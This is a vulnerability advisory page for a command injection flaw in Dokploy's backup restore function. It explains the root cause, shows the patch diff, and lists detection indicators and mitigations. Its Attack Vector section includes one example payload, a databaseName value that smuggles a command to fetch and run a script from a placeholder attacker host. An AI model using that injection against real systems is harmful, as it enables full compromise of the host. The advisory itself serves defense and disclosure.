Skip to main content
CVE Vulnerability Database
Vulnerability Database/CVE-2026-72869

CVE-2026-72869: Dokploy Backup Restore RCE Vulnerability

CVE-2026-72869 is a remote code execution vulnerability in Dokploy's backup restore function, allowing authenticated users to execute arbitrary commands in Docker-privileged host context. This article covers technical details, affected versions, impact, and mitigation strategies.

Published:

CVE-2026-72869 Overview

Dokploy is a free, self-hostable Platform as a Service (PaaS). Prior to version 0.29.13, the backup.restoreBackupWithLogs tRPC subscription passes the databaseName parameter to restore builders in packages/server/src/utils/restore/utils.ts. PostgreSQL, MariaDB, MySQL, and MongoDB restore commands embed this value in nested shell text executed by Node.js exec. An authenticated user with backup:restore permission can supply a crafted databaseName that the host /bin/sh expands before docker exec runs, resulting in arbitrary commands executing in the Docker-privileged host context. The issue is fixed in version 0.29.13.

Critical Impact

Authenticated attackers with backup:restore permission can execute arbitrary commands on the Dokploy host, achieving full compromise of the Docker-privileged control plane.

Affected Products

  • Dokploy versions prior to 0.29.13
  • Dokploy PostgreSQL, MariaDB, MySQL, and MongoDB restore workflows
  • Self-hosted Dokploy PaaS deployments exposing the tRPC backup restore endpoint

Discovery Timeline

  • 2026-08-10 - CVE-2026-72869 published to NVD
  • 2026-08-11 - Last updated in NVD database

Technical Details for CVE-2026-72869

Vulnerability Analysis

The vulnerability is a command injection flaw (CWE-77) in the Dokploy backup restore workflow. The restoreBackupWithLogs tRPC subscription accepts a databaseName parameter from authenticated users. This value is interpolated directly into shell command strings that build docker exec invocations for each supported database engine.

The restore builders in packages/server/src/utils/restore/utils.ts construct commands such as docker exec -i $CONTAINER_ID sh -c "pg_restore -U '${databaseUser}' -d ${database} ...". Because Node.js exec spawns a host /bin/sh to evaluate this string, shell metacharacters in database are expanded before docker exec runs. The injection therefore executes in the host process context, not inside the target container.

Root Cause

The root cause is unsafe string concatenation of user-controlled input into shell commands without quoting or escaping. The nested shell structure (sh -c "..." invoked via exec) means values pass through two layers of shell parsing. Neither layer applies argument-safe escaping to the databaseName field.

Attack Vector

An authenticated user with the backup:restore permission submits a restore request containing a databaseName populated with shell metacharacters. Payloads such as mydb; curl attacker.tld | sh are expanded by the outer host shell prior to the docker exec call. Commands then run with the privileges of the Dokploy server process, which manages the Docker daemon and holds effective root over hosted workloads.

typescript
// Patch: packages/server/src/utils/restore/utils.ts
+import { quote } from "shell-quote";
 import {
 	getComposeContainerCommand,
 	getServiceContainerCommand,
 } from "../backups/utils";

+// User-controlled values are passed to the container via `docker exec -e` and
+// read as "$VAR" inside a single-quoted inner script, so they never enter the
+// inner command text.
 export const getPostgresRestoreCommand = (
 	database: string,
 	databaseUser: string,
 ) => {
-	return `docker exec -i $CONTAINER_ID sh -c "pg_restore -U '${databaseUser}' -d ${database} -O --clean --if-exists"`;
+	return `docker exec -e DB_NAME=${quote([database])} -e DB_USER=${quote([databaseUser])} -i $CONTAINER_ID sh -c 'pg_restore -U "$DB_USER" -d "$DB_NAME" -O --clean --if-exists'`;
 };

 export const getMariadbRestoreCommand = (
 	database: string,
 	databaseUser: string,
 	databasePassword: string,
 ) => {
-	return `docker exec -i $CONTAINER_ID sh -c "mariadb -u '${databaseUser}' -p'${databasePassword}' ${database}"`;
+	return `docker exec -e DB_NAME=${quote([database])} -e DB_USER=${quote([databaseUser])} -e DB_PASS=${quote([databasePassword])} -i $CONTAINER_ID sh -c 'mariadb -u "$DB_USER" -p"$DB_PASS" "$DB_NAME"'`;
 };

Source: GitHub Commit ccd2e83

Detection Methods for CVE-2026-72869

Indicators of Compromise

  • Unexpected child processes of the Dokploy Node.js server that are not docker, such as sh, curl, wget, bash, or nc.
  • Restore job log entries containing shell metacharacters (;, |, `, $() within the databaseName field.
  • Outbound network connections from the Dokploy host to unfamiliar destinations initiated during or shortly after a backup restore operation.

Detection Strategies

  • Inspect Dokploy application logs and the backup.restoreBackupWithLogs subscription payloads for non-alphanumeric characters in databaseName.
  • Audit process trees where the parent is the Dokploy server and the child is a host shell rather than docker exec.
  • Correlate restore events with new file writes to sensitive paths such as /root, /etc, /var/lib/docker, or SSH authorized_keys.

Monitoring Recommendations

  • Alert on any invocation of restoreBackupWithLogs from accounts that do not normally perform restores.
  • Monitor for creation of new users, cron jobs, or systemd units on the Dokploy host immediately following a restore action.
  • Track egress traffic from the Dokploy host to catch reverse shells or payload downloads triggered by injection.

How to Mitigate CVE-2026-72869

Immediate Actions Required

  • Upgrade all Dokploy instances to version 0.29.13 or later without delay.
  • Restrict the backup:restore permission to a minimal set of trusted administrators until patching is complete.
  • Review audit logs for prior use of restoreBackupWithLogs and investigate any restore that used unusual databaseName values.

Patch Information

The fix is available in Dokploy release v0.29.13 via Pull Request #4862 and commit ccd2e83. The patch imports shell-quote and passes user-controlled identifiers to containers using docker exec -e environment variables. Inner scripts then read those values as quoted shell variables ("$DB_NAME"), preventing the injected text from ever entering the shell command surface. See the GHSA-f7mp-9jfp-mjrr advisory for full advisory details.

Workarounds

  • Temporarily revoke the backup:restore permission from all non-essential accounts until the upgrade is applied.
  • Place the Dokploy management interface behind a VPN or IP allowlist to reduce exposure of the tRPC endpoint.
  • Enforce strong authentication and rotate any credentials that could grant an attacker access to a backup:restore-capable account.
bash
# Upgrade Dokploy to the patched release
curl -sSL https://dokploy.com/install.sh | sh

# Verify the running version is 0.29.13 or later
docker inspect dokploy --format '{{.Config.Image}}'

Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.

Default Legacy - Prefooter | Experience the World’s Most Advanced Cybersecurity Platform

Experience the Most Advanced Cybersecurity Platform

See how the world’s most intelligent, autonomous cybersecurity platform can protect your organization today and into the future.